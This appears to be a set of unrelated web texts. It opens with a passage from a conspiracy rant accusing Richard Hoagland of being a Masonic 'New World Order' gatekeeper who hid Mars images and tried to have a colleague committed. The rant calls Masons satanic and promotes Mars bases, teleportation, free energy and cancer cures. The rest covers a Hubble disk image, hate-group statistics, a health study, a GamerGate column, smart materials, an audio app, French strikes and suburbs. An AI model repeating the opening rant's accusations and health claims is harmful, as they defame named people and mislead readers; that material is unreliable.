observation ward to ensure that he was not a threat to himself or to anyone else and to test his sanity. Gary had no choice but to comply. He knew that if he reacted angrily he would be be sent off for sure and maybe even put in jail. So Gary took the bitter pill and waited for those 3 days to come and go which they did without incident. Gary now knew how close he had come to being destroyed and having his family ripped apart because Dr. Robin and Richard Hoagland wanted to shut him up. Robin aided Hoagland, using her status in Florida to try to put Gary away where he was no longer a threat to Hoagland. If Gary’s doctor had not told him about Robin, he would have been sent off to a mental ward for at least 6 months! And of course once at the facility his mind would have been destroyed by Big Pharma psychiatric drugs as is the standard proceedure in such facilities!  Why Would Richard Hoagland Do Such Evil Deeds?  The actions by Gary and Robin really beg the question – Why would they do such an evil thing? Especially to someone so close to them that had even worked with them. The answer was obvious. During that last week before Gary went into the hospital for the check up, Hoagland and Gary had a falling out. Gary even kept the personal emails from Richard that showed Richard was obviously becoming very angry that Gary would not drop his investigation into the images seen on “UFO Diaries”. Richard told Gary to do something else relating to Mars and that he wouldn’t help him at all in his investigation into “UFO Diaries” images.  Then a couple of days later later after the incident at the hospital as Gary was at the hospital, Dr. Robin and Hoagland were at the Enterprise Mission Conference Center BBBS (pay to say forum) speaking false well wishes for Gary and his family, telling everybody that Gary was taking a much needed break and trying to imply that he was mentally breaking down! Meanwhile while this was going on, Gary was waiting for his 3 day evaluation to be over.  It’s very easy to connect these dots when see the facts and evidence and if we follow the data to show Hoagland’s intent and purpose. It’s not far fetched to see that Hoagland and Robin obviously set Gary up from getting us the truth about Mars! After the 3 day evaluation was over, Robin and Richard were quite surprised to see Gary on the Enterprise Mission Conference Center BBS lashing out at Richard and Robin for their actions. Gary was scolded by Robin viciously and Gary was banned from Enterprise Mission with cover stories made public by Robin and Hoagland spreading again more false information about Gary!  As it turns out, Gary has NEVER been admitted to any psychiatric hospital in his life but that didn’t stop Richard Hoagland from telling people on Facebook that Gary had been in two different psychiatric hospitals in 3 years! This is Libel and Defamation of Gary’s character! There is no excuse for these outright lies about Gary. Instead of answering the questions brought up by Gary, Richard Hoagland has resorted to spreading lies – a clear sign of a disinfo agent if there ever was one!  Many people have confronted Richard Hoagland and Robin about their lies against Gary and have suggested he seek legal counsel in response to their actions but Gary cannot afford it as he and his family are still suffering and scared about what Richard and Robin might try to do to them next especially since Gary’s story is now getting out!  So Richard Hoagland is also guilty of outright lying about Gary to try to discredit him. This is always done by disinfo agents. Richard would have never done this unless he was hiding something. Which in the least we intend to prove by showing you all the evidences and testimonies given by Gary and the producers of “UFO Diaries” themselves. Hoagland needs to answer for this all. NOT Just for the images of Mars in “Ufo Diaries” but also for the deeds done to Gary and his family to keep him quiet! Gary has literally uncovered a conspiracy! That conspiracy Gary is obviously involved in, leads straight to Richard C. Hoagland! Richard could not convince Gary to quit no matter what bribes, offers, or gifts he would try to make to make Gary say “OK, I will stop andshut up”! Far from it. Richard has awakened a New York fighter that just won’t quit!  Hoagland’s Actions ONLY Make Sense If He’s a New World Order Gatekeeper for NASA  All these strange and evil actions don’t make any sense if Richard Hoagland is just like all the rest of us trying to get to the truth about Mars and many other things. I certainly would never do any of these things and I know that those reading this article would never do these things either! These actions make perfect sense though if Richard Hoagland is a mason gatekeeper for NASA that was put there to sow disinformation and keep people from the truth about Mars! Then of course, just like all masons, Richard would do ANYTHING to keep the secrets away from the masses.  Richard Hoagland Never Discussed the Secret Space Program Until After it was Undeniable!  Another thing that points to Hoagland being a gatekeeper was how he was very late to the party talking about the secret space program. He only began even saying it was possible after so many whistle blowers had come out through Project Camelot and others that it was basically undeniable. If Richard Hoagland hadn’t changed his tune, he would have been completely exposed as an agent of disfo so just like a chameleon he changed his color when he was forced to and said the secret space program probably existed. Earlier he said that the secret space program did not exist because he would have known about it from his NASA connections! He also never wants to discuss current Mars bases as have been seen on the Google Mars data such as the video titled, “Bio Station Alpha”.  Richard Hoagland Says Andrew Basiago Is a Liar Even Though He’s Never Made a Dime on the Story!  Richard Hoagland has been caught again and again saying that Andrew Basiago’s testimony on Mars and Project Pegasus is a complete fabrication when Andrew Basiago has never made a dime on his story. Conversely, Richard Hoagland continues to hawk his disinfo at expensive conferences all over the world! Everything seems to cost money with Richard Hoagland.  We have interviewed Andrew Basiago several times and he was was happy to come on our show repeatedly while Richard Hoagland wouldn’t because we didn’t have a million listeners yet! We found Andrew Basiago to be VERY credible and quite intelligent. Richard Hoagland basically called Andrew Basiago a liar but the reality is there is simply no way Richard would even know about Project Pegasus through his duties as NASA’s public relations guy! This shows that Richard Hoagland is likely being used as a gatekeeper to steer people away from the truth about life on Mars and the Project Pegasus teleportation technology. He wants to keep people away from that knowledge and tries to discredit it whenever he can! In short we believe Andrew Basiago’s testimony that there is life already on Mars as well as numerous bases and a teleportation system to get from Earth to Mars. This has all been confirmed by many other whistleblowers also but Richard Hoagland says they are all liars too! Apparently only Richard Hoagland knows the truth about Mars and anybody else that says differently is promptly discredited instead of being carefully researched and given their chance to speak!  Hoagland’s Masonic Connections  The episode of UFO Diaries that clearly shows never before seen images of Mars was filmed in a masonic lodge and Richard Hoagland is PROUD of it! It’s common knowledge that the masons are a mid level organization of the satanic new world order. In fact, there’s isn’t one masonic lodge in the world that fights against the new world order like we do at www.project.nsearch.com and www.latenightinthemidlands.com  NASA is filled with masons of course but is Richard Hoagland a Mason? I can’t say for certain because he’s never had the courage to admit this but from the evidence I would say the chances are about 99% that Richard Hoagland is in fact a Mason. You’d have to be a mason or be in bed with the masons to get permission to film inside a masonic lodge. I urge Richard Hoagland to admit to the world his connections to the masons. If you are a mason and think you are doing great things for humanity then you should proudly admit it! The sad reality is that the masons are of course serving the goals of the new world order which is to enslave humanity in their hellish new world order. There isn’t one masonic lodge on the planet that is fighting against the new world order!  The Masons Will Do ANY evil and vile thing to protect themselves or another Mason.  One of the very first things I learned about the masons when I studied them is that the first thing they teach you in the masonic school of evil is to attack anybody that attacks a mason. In fact, they even tell the masons that they can do ANYTHING to another human being that tries to harm another mason. “The means justifies the End” is the standard motto of pure evil and is exactly how these disgusting masons operate. Their history is full of examples of men who were killed or destroyed by masons for daring to expose their little club that pushes for a hellish new world order slavery system! It has happened throughout history and is still happening today!  I also know there are good masons out there that are not serving evil and only joined because they were trying to get ahead and thought the masons could help them in some way attain power, wealth or just important new friends. I know this personally because I have had family members who were in the Masons and I know they weren’t evil. The innocent masons are men that are completely ignorant of the evil that goes on at the very top of the organization and how the masons are actually helping the satanic new world order in every way possible to enslave humanity. The good men in the masons are basically used as useful idiots for the masons to use to push forward their agenda. In fact, there isn’t a mason alive that can tell you about even one masonic lodge that exposes the evils of the new world order system in any way. You won’t find masons handing out Alex Jones DVDs on the street corners or campaigning to End the Fed with Ron Paul because THEY serve the new world order! This is a fact that cannot be denied by any mason alive!  Richard Hoagland proves that he is most likely a mason also by filming his TV show, “UFO Diaries” in a masonic lodge, by calling for a new world order and even by his disgusting worship of one of the puppets of the new world order, Barack Obama. This man LOVES Obama and says how he will lead us out of the darkness! What a joke!  It’s NEVER wrong to ask questions, it’s only Wrong when you RUN from the Questions!  We know the CIA and the Masons are heavily involved in infiltrating the truth movement and sowing disinformation to stop people from asking the important questions and learning the truth. It’s NEVER wrong to ask questions of people in the truth movement. When people refuse to answer these questions and try to destroy or discredit those asking the questions, that’s when you know you have a REAL problem! Richard Hoagland has refused all attempts to get answers about these images and other aspects of the case with Gary. There is no question that Gary was devastated financially and emotionally through the actions of Richard Hoagland.  The Truth Must Come Out No Matter How Many Times You’ve Been on Coast to Coast!  Our purpose for exposing Richard Hoagland is because the truth must come out no matter where it leads. I don’t care if you’ve been on Coast to Coast 1,000 times, if you are hiding data, calling for a new world order and worshipping an evil puppet like Obama then you are a total FRAUD!  As Richard is so fond of saying, we must follow the data no matter where it leads! Our ultimate conclusion based on the evidence is that Richard Hoagland is a new world operative that has been put in a high rotation position on the “Coast to Coast” radio program to sow disinformation and keep the truth about Mars and many other things from the masses. We will make sure that George Noory is informed about this information to see what if anything he decides to do about it also. George Noory’s actions or lack of actions will show what side he is on also. Hopefully he is just ignorant of the truth about Richard Hoagland and will do the right thing now and make Richard answer for these allegations fully on his popular radio show, “Coast to Coast”. We will be all be watching this when Richard appears on the show next week!  See All The Evidence In the “Richard Hoagland” menu area of our Sites  We have created a page that shows all the evidence and you may review it all by clicking the “Richard Hoagland”menu option on www.project.nsearch.com or www.latenightinthemidlands.com There is far more evidence located there that can be discussed in this article. The purpose of this article is to give you a brief summary of some of the more disturbing evidence against Richard Hoagland. However, I urge everybody to review in full the full evidence on the “Richard Hoagland” menu options on the websites because there you will find many of the emails directly from Richard Hoagland to Gary that clearly show that he is NOT interested in talking about these images and actually did his best to convince Gary to not pursue this further!  You will also see Richard Hoagland admitting in an email that he is broke at one point but begging Gary not to tell anybody because he says that basically people only believe you when you have money! This shows how out of whack Richard Hoagland really is. Clearly, Richard thinks that you must have money to have credibility in the truth movement! This is completely false of course but shows you how concerned with money Richard Hoagland actually is and it makes sense why he is constantly hawking his disinfo but never actually doing good things with the money such as releasing information on Free Energy or Natural Cures for cancer as we do on our websites at no cost I might add!  We have never been given a wide audience and vast sums of money as Richard Hoagland has but yet our sites have given away over 40,000 ebooks on Free Energy that show how people all over the world are using free energy to power their homes and vehicles right now! You can see this information in the “Free Energy” section of our websites. We have also shared with tens of thousands how anybody can be cured of cancer in the “Dr. Coldwell” section of our websites! Richard Hoagland has erased mention of free energy and Dr. Coldwell from his facebook page when we posted it there for his fan to see so obviously he isn’t really trying to help humanity by giving them free energy and cancer cures. Why won’t Richard Hoagland share real solutions like free energy and cancer cures? Ask him yourself to see what he says!  In fact, Richard even stooped so low as to get an account on our website under the name of “Truth Sword” and then proceeded to tell us how dare we attack him and that nobody would listen to us because our sites were “rinky dink” and not as big as “Coast to Coast”! What’s really funny is that www.nsearch.com has a lower Alexa ranking (more traffic) than Enterprisemission.com alone and when you combine both sites together it pushes FAR more traffic than Richard Hoagland’s site that has been supported by his mason brothers and “Coast to Coast” almost from the very beginning of the Internet. EnterpriseMission.com has also been on the Internet for about 10 times longer and he hasn’t shared the cures to cancer or free energy with anybody! All it’s done is run people around in circles with worthless disinfo that doesn’t help anybody. And he says people that don’t agree with him like Andrew Basiago are nothing but liars!  Please Get This Information Out About Richard Hoagland to Everybody You Can So He Can’t Get His New World Order!  When you see all the evidence we have assembled, I’m sure you’ll also conclude that there is simply no excuse for the actions of Richard Hoagland. You’ll see much more evidence on our upcoming radio show with Gary on November 26th. Again, make sure you join at least one of our websites at www.project.nsearch.com or www.latenightinthemidlands.com and that you visit the “Richard Hoagland” menu option for all of the evidence also including the images. And please get the word out about the show so that Richard Hoagland will never get his disgusting new world order that he and his buddy, Barack Obama so dearly want. It’s up to all of you to spread the word about this information virally through Facebook and any other means you have at your disposal. There are many questions that Richard Hoagland must now answer! Don’t let him run away from you! Make him answer the questions about “UFO Diaries” and those images he admitted to Gary that he has hidden from humanity!  My Final Words For Richard Hoagland  We want those images on Mars from “Ufo Diaries” Richard! You have no right to hide them from humanity as you admitted to Gary! Your love for new world order puppet, Obama betrays who you really are and who you work for!  Oh and one last thing Richard, you will NEVER get your new world order that you called for to your UN masters! God and all of awake humanity stand against you and those helping you! To hell with your new world order and to hell with all those like you that serve it! This is your final chance to redeem your very soul Richard! Will you join God and those good people that truly stand against Obama’s new world order or will you continue to serve it by keeping your masonic secrets? We shall soon see!
-Astronomers have used NASA's Hubble Space Telescope to take the most detailed picture to date of a large, edge-on, gas-and-dust disk encircling the 20-million-year-old star Beta Pictoris.  Beta Pictoris remains the only directly imaged debris disk that has a giant planet (discovered in 2009). Because the orbital period is comparatively short (estimated to be between 18 and 22 years), astronomers can see large motion in just a few years. This allows scientists to study how the Beta Pictoris disk is distorted by the presence of a massive planet embedded within the disk.  The new visible-light Hubble image traces the disk in closer to the star to within about 650 million miles of the star (which is inside the radius of Saturn's orbit about the Sun).  "Some computer simulations predicted a complicated structure for the inner disk due to the gravitational pull by the short-period giant planet. The new images reveal the inner disk and confirm the predicted structures. This finding validates models, which will help us to deduce the presence of other exoplanets in other disks," said Daniel Apai of the University of Arizona. The gas-giant planet in the Beta Pictoris system was directly imaged in infrared light by the European Southern Observatory's Very Large Telescope six years ago.  When comparing the latest Hubble images to Hubble images taken in 1997, astronomers find that the disk's dust distribution has barely changed over 15 years despite the fact that the entire structure is orbiting the star like a carousel. This means the disk's structure is smoothly continuous in the direction of its rotation on the timescale, roughly, of the accompanying planet's orbital period.  In 1984 Beta Pictoris was the very first star discovered to host a bright disk of light-scattering circumstellar dust and debris. Ever since then Beta Pictoris has been an object of intensive scrutiny with Hubble and with ground-based telescopes. Hubble spectroscopic observations in 1991 found evidence for extrasolar comets frequently falling into the star.  The disk is easily seen because it is tilted edge-on and is especially bright due to a very large amount of starlight-scattering dust. What's more, Beta Pictoris is closer to Earth (63 light-years) than most of the other known disk systems.  Though nearly all of the approximately two-dozen known light-scattering circumstellar disks have been viewed by Hubble to date, Beta Pictoris is the first and best example of what a young planetary system looks like, say researchers.  One thing astronomers have recently learned about circumstellar debris disks is that their structure, and amount of dust, is incredibly diverse and may be related to the locations and masses of planets in those systems. "The Beta Pictoris disk is the prototype for circumstellar debris systems, but it may not be a good archetype," said co-author Glenn Schneider of the University of Arizona.  For one thing the Beta Pictoris disk is exceptionally dusty. This may be due to recent major collisions among unseen planetary-sized and asteroid-sized bodies embedded within it. In particular, a bright lobe of dust and gas on the southwestern side of the disk may be the result of the pulverization of a Mars-sized body in a giant collision.  Both the 1997 and 2012 images were taken in visible light with Hubble's Space Telescope Imaging Spectrograph in its coronagraphic imaging mode. A coronagraph blocks out the glare of the central star so that the disk can be seen.
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-10. Louisiana  > Hate groups per 1 million: 3.2  > Number of hate groups: 15 (21st most)  > Adults with at least bachelor’s degree: 22.5% (5th smallest)  > Pct. pop. identifying as white: 62.9% (6th lowest)  There are 15 active hate groups in Louisiana, or 3.2 per 1 million state residents, the 10th highest proportion nationwide. The Aryan Nations Knights and the Loyal White Knights — each chapters of the Ku Klux Klan — are among the 15 groups. Many of the groups are known for promoting racism towards blacks, with Aryan, neo-Nazi, and Skinhead groups making up a bulk of Louisiana’s hate organizations. New Orleans and Shreveport, however, are each also home to chapters of Nation of Islam, a group with its own racist, anti-Semitic, and anti-gay overtones. Segregation, which manifests along physical and economic lines, is often both the result and the cause of hatred. Like nearly every other state where hate groups are the most prevalent, white and black Louisiana residents tend to earn very different incomes. A typical white household earns $32,200 more than a typical black household annually, the largest such gap nationwide.  ALSO READ: 20 Cities With the Widest Gap Between the Rich and Poor  9. Virginia  > Hate groups per 1 million: 3.3  > Number of hate groups: 27 (9th most)  > Adults with at least bachelor’s degree: 36.1% (6th largest)  > Pct. pop. identifying as white: 69.3% (15th lowest)  Roughly 20% of Virginia residents identify as black, well above the national proportion of 12.6%, as is the case in most states on this list. Unlike most states with the highest concentrations of active hate groups, Virginia residents are relatively well educated. More than 36% of state adults have at least a bachelor’s degree, the sixth highest attainment rate in the country. The state’s median household income of $62,666 is also unusually high compared with other top states for hate groups, although the gap between white and black household incomes is still among the largest nationwide. White supremacist groups such as Creativity Alliance, the American Nazi Party, and Aryan Nations, are among the most common organized hate groups in Virginia. Anti-immigrant, anti-Muslim, and anti-LGBT groups are also among the state’s active hate organizations.  8. Kentucky  > Hate groups per 1 million: 3.6  > Number of hate groups: 16 (18th most)  > Adults with at least bachelor’s degree: 22.6% (6th smallest)  > Pct. pop. identifying as white: 87.7% (11th highest)  Racist white supremacist organizations, including neo-Nazi group Aryan Nations, several Ku Klux Klan chapters, and the neo-Confederate Southern National Congress, make up a bulk of the state’s hate groups. Black residents tend to make up larger shares of the populations in states where hate groups are most prevalent. However, 8% of Kentuckians identify as black, lower than the national proportion of nearly 13%. In most southern states with a high number of racist organizations, a legacy of slavery has contributed to a high concentration of black residents. In Kentucky, however, just 8% of the population identifies as black.
-Preventive health care is a powerful tool for keeping medical costs down. Contraception is cheaper than pregnancy and childbirth; a cholesterol test is cheaper than a triple bypass. It is therefore in society’s interest to encourage the use of preventive health care services like cancer screening, especially for elderly people in aging populations. Increased use of preventive health care also leads to healthier, longer-lived people.  Unfortunately, people aren’t particularly good about preventive health care; not even half of all people over the age of 65 in the US are up to date with recommended preventive services. How can we do better?  A recent PNAS study identified one factor that could help: the more that people feel like they have a purpose in life, the more likely they are to use preventive health care. Purpose was also found to be associated with a lower likelihood of needing overnight hospital visits—possibly as a result of improved health care.  Why am I here?  Purpose—feeling a sense of meaning in life and having goals to strive for—is one facet of psychological well-being. Purpose and other measures of well-being are associated with improved physical and mental health, including a better waist/hip ratio, higher levels of ‘good’ cholesterol, and even enhanced expression of antiviral response genes. It isn’t clear what drives this improved health, but we do know that people with more purpose engage in healthier behaviors like resting and exercising.  Some previous research has shown that people with purpose use preventive health care more, but sample sizes were small and possibly biased. To explore the question with a more robust sample, the recent study tracked more than 7,000 US adults over the age of 50 for six years, keeping records of their health care usage.  The participants also took part in a survey that measured purpose on a six-point scale, along with other psychological factors like depression and anxiety. Confounds that could influence the results were also taken into account, including: religiosity, geographic factors like rural or urban living, chronic illnesses, current health behaviors like smoking, and sociodemographic factors like wealth and ethnicity.  After adjusting for these potential confounds, the results showed that higher purpose resulted in a significantly higher likelihood of getting a cholesterol test or a colonoscopy. For females, it was also related to a higher chance of having a mammogram or pap smear; for males, it was associated with a higher chance of a prostate exam. (However, flu shots were not among the benefits of having purpose.)  People with higher purpose also spent less time in the hospital: after adjusting for sociodemographic factors, each point increase in purpose was associated with 17 percent fewer overnight hospital stays.  Why does it work?  It’s not clear why purpose is associated with preventive health care. The researchers suggest that people with a stronger sense of purpose may have more motivation to stay healthy and therefore feel “more incentive to take preventive measures that seem time consuming, costly, fear inducing, or painful.” Although this is a convincing explanation, more research is needed to confirm it. After all, it is possible that another mechanism could be at work or even that causality could be working in the other direction, with improved use of health care services somehow resulting in a stronger purpose in life.  Although this study is a significant improvement over previous work, it does have limitations. Most notably, the data on health care use was self-reported, which isn’t always reliable. Although self-reported health care has been shown to agree with medical records, future research will likely use a different source of data to corroborate the results.  Can we actually use these results to improve healthcare? There is reason to think that the right kinds of therapy can improve people’s sense of purpose. Some small, randomized control trials on cancer patients and survivors indicate that meaning-based therapy could (as its name suggests) improve feelings of meaning and purpose. Interventions such as volunteer programs for older people could have a similar effect. Future studies may test whether these ultimately result in improved preventive health care use.  In a society that expects to see double the current number of adults over 65 by 2050, resulting in Medicare costs doubling from 3.7 percent of GDP to 7.3 percent, tactics to increase preventive health care use and lower medical costs are an important avenue to pursue. Reducing strain on the nation’s medical budget while helping people become happier with their lives would be a resounding victory for quality of life.  PNAS, 2014. DOI: 10.1073/pnas.1414826111. (About DOIs).
-With Donald Trump’s election to the White House, accusations are now being thrown around every which way by progressives seeking to blame anyone apart from themselves for America’s collective decision. Rather than looking inward, the media’s progressive left has turned once again towards the ever-reliable bogeyman of GamerGate.  Depending on who you ask, GamerGate could be described as completely ineffectual, responsible for Trump’s ascent, literally worse than ISIS, the greatest threat to women on the Internet, or deader and more irrelevant than it ever was since its stillbirth in late 2014. In short, it’s anything and everything you want it to be — a strawman for millennial social justice warriors.  Some of those slinging virtual Molotov cocktails at the wicker man argue that gamers aren’t responsible for themselves. No — they argue — it is the games that they play that cause them to support Donald Trump.  Advertisement  Get our exclusive newsletter—the best of Heat Street every day  “For decades, developers have focused on making games fun. It’s about time we started working toward other kinds of emotional responses than instant gratification,” “For decades, developers have focused on making games fun. It’s about time we started working toward other kinds of emotional responses than instant gratification,” argues Tim Gruver for the Daily UW. “Games like ‘Gone Home’ and ‘Papers, Please’ have spoken up for LGBTQIA+ communities and immigration reform. Games can teach, debate, and argue points rather than just entertain. And that need can directly translate to gamer culture at large.”  “Games have the chance to create disarming experiences that disassemble our worlds and tell truths,” says Gruver.  But only if the truths are consistent with the approved SJW narrative, I suppose. When games allow players to But only if the truths are consistent with the approved SJW narrative, I suppose. When games allow players to make their own moral choices , someone is bound to have a hissy fit.  On GamesIndustry.biz, the site’s Editor-in-Chief On GamesIndustry.biz, the site’s Editor-in-Chief James Brightman claims that a segment of the gaming population—one that he equates to GamerGate supporters—does not want to see any games being made that aren’t traditional Hollywood-budget shooters. Worse still, he claims that the games and the culture surrounding them are inextricably tied to the “exclusionary thinking” he says gamers exhibit towards certain kinds of games.  “That’s just faulty thinking – the Call of Dutys and Battlefields and so on will still be made,” argues Brightman against an imaginary foe. “And to demand that other types of games for people who aren’t ‘gamers’ not be made is flat out exclusionary and wrong.”  “And that’s just it, isn’t it? The same undercurrent in society that produced Gamergate, the alt-right movement, Brexit and now a Trump election (bigotry, misogyny, xenophobia, homophobia, religious persecution, fear mongering, etc.) are what led to exclusionary thinking in the game-playing populace,” adds Brightman. “’How dare you change my games?’ they’ll say. But they aren’t ‘your’ games; just because the industry has catered to the 18-34 white male audience over the last two decades doesn’t give you some special claim to the medium. Just like movies, books and TV, games are for everyone.”  Thank you for that wonderful bit of virtue signaling.  Most gamers have no problem seeing the market grow with the release of titles that aren’t military-themed shooters. Some of the most popular games out right now include Rocket League, RimWorld, Stardew Valley, Planet Coaster and Civilization VI, and a host of other titles that don’t fall easily within the small box Brightman describes. And titles like Pokémon Sun & Moon and a new Phoenix Wright are at the top of everyone’s Christmas wishlists.  Games are already for everyone, but judging from what Brightman wrote, he’d be happier if games were no longer made for those who play them the most.  The idea that everyone’s only interested in playing Call of Duty is a fantasy that exists only in the minds of game journalists unable to hide their disdain towards their audience. What’s certain is that the only people who have a real problem with certain types of games are not gamers, who are blessed to have such a wide variety of experiences to choose from.  You can’t help liking what you like. When the argument put forth by Brightman, Gruver and so many others are taken to its logical conclusion, it falls to game developers to create the kinds of titles that push their viewpoints because no one will willingly play them if there is any other choice. We can only speculate on what will happen to those who refuse to comply with the fun police.  Much as Wasteland 3 game developer Brian Fargo said in my interview with him, Much as Wasteland 3 game developer Brian Fargo said in my interview with him, game developers are here to entertain people , not change the world. Creators are under no obligation to promote any social or political agendas, and they sure as hell shouldn’t be shamed into doing so.  Ian Miles Cheong is a journalist and outspoken game critic. You can reach him through social media at Ian Miles Cheong is a journalist and outspoken game critic. You can reach him through social media at @stillgray on Twitter and on Facebook
-Researchers have developed a new material that demonstrates 'three-way shapeshifting' behaviour, changing its form in response to heat or light.  This is the first time scientists have achieved a single material that combines several smart capabilities – earlier efforts were limited to one function at a time.  The multifunctional material can fold and unfold itself based on the external stimulus, and can even heal itself when damaged.  Scroll down for video  Researchers have developed a new material that demonstrates 'three-way shapeshifting' behaviour, changing its form in response to heat or light. In a video demonstrating its capabilities, the smart material can be seen unfolding from a box-shape when light or heat is applied, and then returning to its original form  SHAPE-SHIFTING MATERIAL The researchers used a class of long-chain molecules known as liquid crystalline networks (LCNs) and synthesized three functional building blocks. The resulting LCN was found to demonstrate shape memory behaviour and light-activated movement. Not only can it remember its shape, but the LCN can heal itself – if scratched with a razor blade, the application of ultraviolet light will fix the wound. Researchers say this new material is the first which has the ability to perform multiple tasks at once – and it can even be tailored to add more.  To create the unique substance, researchers at Washington State University and Oak Ridge National Laboratory used a class of long-chain molecules known as liquid crystalline networks (LCNs) and synthesized three 'functional building blocks.'  These included azobenzene molecules, liquid crystals, and dynamic ester bonds, which allowed the team to 'program material responses to external stimuli at the molecular level,' the researchers explain in a paper published recently to ACS Applied Materials & Interfaces.  When combined, the resulting LCN was found to demonstrate shape memory, light-activated movement, and self-healing behaviour.  'We knew these different technologies worked independently and tried to combine them in a way that would be compatible,' said Michael Kessler, professor and Berry Family director at the School of Mechanical and Materials Engineering (MME).  According to the researchers, its movements can be pre-programmed and properties can be tailored for unique abilities.  Not only can it remember its shape, but the LCN can heal itself – if scratched with a razor blade, the application of ultraviolet light will fix the wound.  In a video demonstrating its capabilities, the smart material can be seen unfolding from a box-shape when light or heat is applied, and later returning to its original form.  Scientists have long shown interest in smart materials, but they haven't yet emerged for widespread use due to limitations in function.  The resulting LCN was found to demonstrate shape memory behaviour, light-activated movement, and self-healing behaviour  The team usd a class of long-chain molecules known as liquid crystalline networks (LCNs) and synthesized three 'functional building blocks.' These allowed them to 'program material responses to external stimuli at the molecular level'  Now, researchers say this new material has the ability to perform multiple tasks at once – and it can even be tailored to add more.  'On the basis of this approach, LCNs can be further advanced,' the researchers wrote.  'For example, a fourth functional building block may be incorporated into the system, e.g., magnetic-responsive or infrared-responsive blocks, which can be achieved by incorporating magnetic nanoparticles or single wall carbon nanotubes, respectively.'  These new capabilities could make smart materials more feasible for practical use rather than just novelty.
-Audiosource is a Web audio / video mixer for Youtube, Soundcloud and Jamendo.  You can also create and share your music with sequencer and modular synths.  Be creative in your Live sessions and Sessions you can play also songs, you can use the pads to play your jingle.  You can also control all decks and mixer via midi.  check for the [?] help buttons in each page to read the step by step guide.  do not forget to open the mini controller on the rec bar and play...  Have fun!  Special Thank You  Metronome & wave Icon made by Freepik from www.flaticon.com  Known Bugs or Dysfunctions  Browser tab can stop emit sound and must be closed if the synth exceeds some unspecified limits  Synths might sound different on different browsers  Each time you attach a modulator might emit a little different sound
-Trade unionists fighting the French government's labour reform, as well as sectoral disputes, targeted refuse incinerators, railway stations and power supply on Thursday as 16 of France's 19 nuclear power stations were on strike. Protesters picketed the company of bosses' union chief Pierre Gattaz in protest at his description of strikers as "terrorists" in an interview.  As strikes on the railway and in the power sector continued and floods hit parts of the country, protesters hit targets for flash protest Thursday:  Power was cut off to 125,000 homes in Saint-Nazaire in western France on Thursday morning as strikers took over a high-voltage substation;  Consumers in the Paris region may have preferred the unions' action there - 1,100,000 subscribers were charged at lower rates;  Rail strikers occupied a signal box at Paris's Gare de Lyon, stopping departures for about an hour, and sat on the rails at the Channel port of Caen for thre-quarters of an hour;  Refuse collectors staged mass pickets at three out of four of the Paris region's incinerators, one having been hit by strike action since Monday;  Mass pickets and selective blockades took place at various sites, including power stations, rail stations, the Saint-Nazaire shipyard and the Renault factory near Rouen, with eight police officers reported slightly injured while clearing a picket at Toulouse in the south-west;  Several thousand people demonstrated at a factory in Lyon as Economy Minister Emmanuel Macron visited it;  About 100 occupied the local headquarters of bosses' union Medef in Aude in the south of France and others briefly blocked entrance to the company owned by Medef chief Gattaz;  Rallies against the labour reform bill took place in a number of provincial cities, ahead of a national demonstration in Paris on 14 June;  A strike on the Paris metro had little effect but the national rail strike continued, with the SNCF rail company saying that 15 percent of staff were taking part;  An air traffic controllers' strike scheduled for three days starting Friday was called off after employers promised not to cut jobs, although Air France pilots may strike for their own demands on 11 June.  The war of words continued, too.  Gattaz issued a statement saying that his use of the word "terrorist" had been "misunderstood" and admitting that it "could shock", while going on to slam the "thuggish methods used by the CGT", the main trade union leading the protests.  CGT leader Philippe Martinez insisted that he and his allies were ready to talk to the government and that they had no intention of disrupting the Euro 2016 football tournament, due to start in eight days' time.  Labour Minister Myriam El Khomri said that "my door has always remained open", while calling on the union to "create a spirit of discussion".  But scrapping the law "is not an option", she went on.  Prime Minister Manuel Valls decried the "waste" caused by the protests.  "This conflict is weighing on our economy at a time when the actions of the government are allowing a recovery, growth and a fall in unemployment," he told parliament on Wednesday.
-DetroitPlanner said: First tier suburbs are in a real pickle. . Click to expand...  My personal view is that maybe this is changing. Think of Denver.. or San Diego. The infill redevelopment of the inner ring is practically the only thing going on in those two cities right now. They are denser, more transit accessible, already have infrastructure that municipalities don't have to force developers to build for them, and they have the programs and tax base that go with being part of the larger city (as opposed to a suburban municipality). They also offer some of the benefits of "suburbia" while still feeling "urban" to the younger families who want live in a 'burb but still have a hip urban lifestyle.The outer suburban rings in San Diego are essentially dead. 50%+ declines in property values, nobody can afford the gas to commute 30+ miles into the center each day, and their schools are no longer a differentiator since the state and the increasingly fiscally constrained munies out there have been forced to slash programs and school funding into oblivion. There was a time not too many years ago when people would be willing to sell their limbs to live in some of those outer burbs just so their kids could go to the local schools. Now, with class sizes in outlying areas pushing 35-40+, after mass teacher layoffs, the vast inner city SDCS isn't looking that bad anymore. And for those who can afford it, who cares about the local schools if you feel you have to send your kids to private schools anyway. And the private schools are all in the city and the inner ring. Many a planning consultant working for these strapped burbs have been asked to run future growth projections for new subdivisions based on "zero children" assumptions. Asked how they intend to keep kids from moving in, the municipal officials just shrug. They have no clue. All they know is that they absolutely cannot afford to issue building permits if children comes with the homes associated with them.The outer burbs have finally realized that, without vast state subsidies, they're financially unviable as going concerns, with residential-only tax bases incapable of supporting public services. Now that those subsidies are long gone, some of them are quickly becoming the new ghettos. They're shutting down schools, ending police protection, consolidating fire stations, in some cases firing virtually their ENTIRE city staffs. Roads are going unmaintained, capital highway-building projects are cancelled or postponed, the landscaping is going untended, graffiti is going unremoved, and crime is going up. To give you an idea of how bad things are, between 2007 and 2011, San Diego's estimated metro population increased by the same absolute amount of people as the city proper... in other words, the city absorbed virtually all of the (net) growth, and almost all of that growth was absorbed into the core neighborhoods (defined as centre city neighborhoods + the inner ring suburbs).Outer ring suburbs only work if somebody else pays their bills or when their entirely residential ad valorem tax base is inflated by a property bubble. Without such a bubble.. or massive infrastructure and public employment subsidies, single-use residential doesn't pay for much at anything short of penurious tax rates. Therefore, when the gravy train stops, such places fail, victims of their location and their historical NIMBYistic desire to bar virtually all land-use diversity.
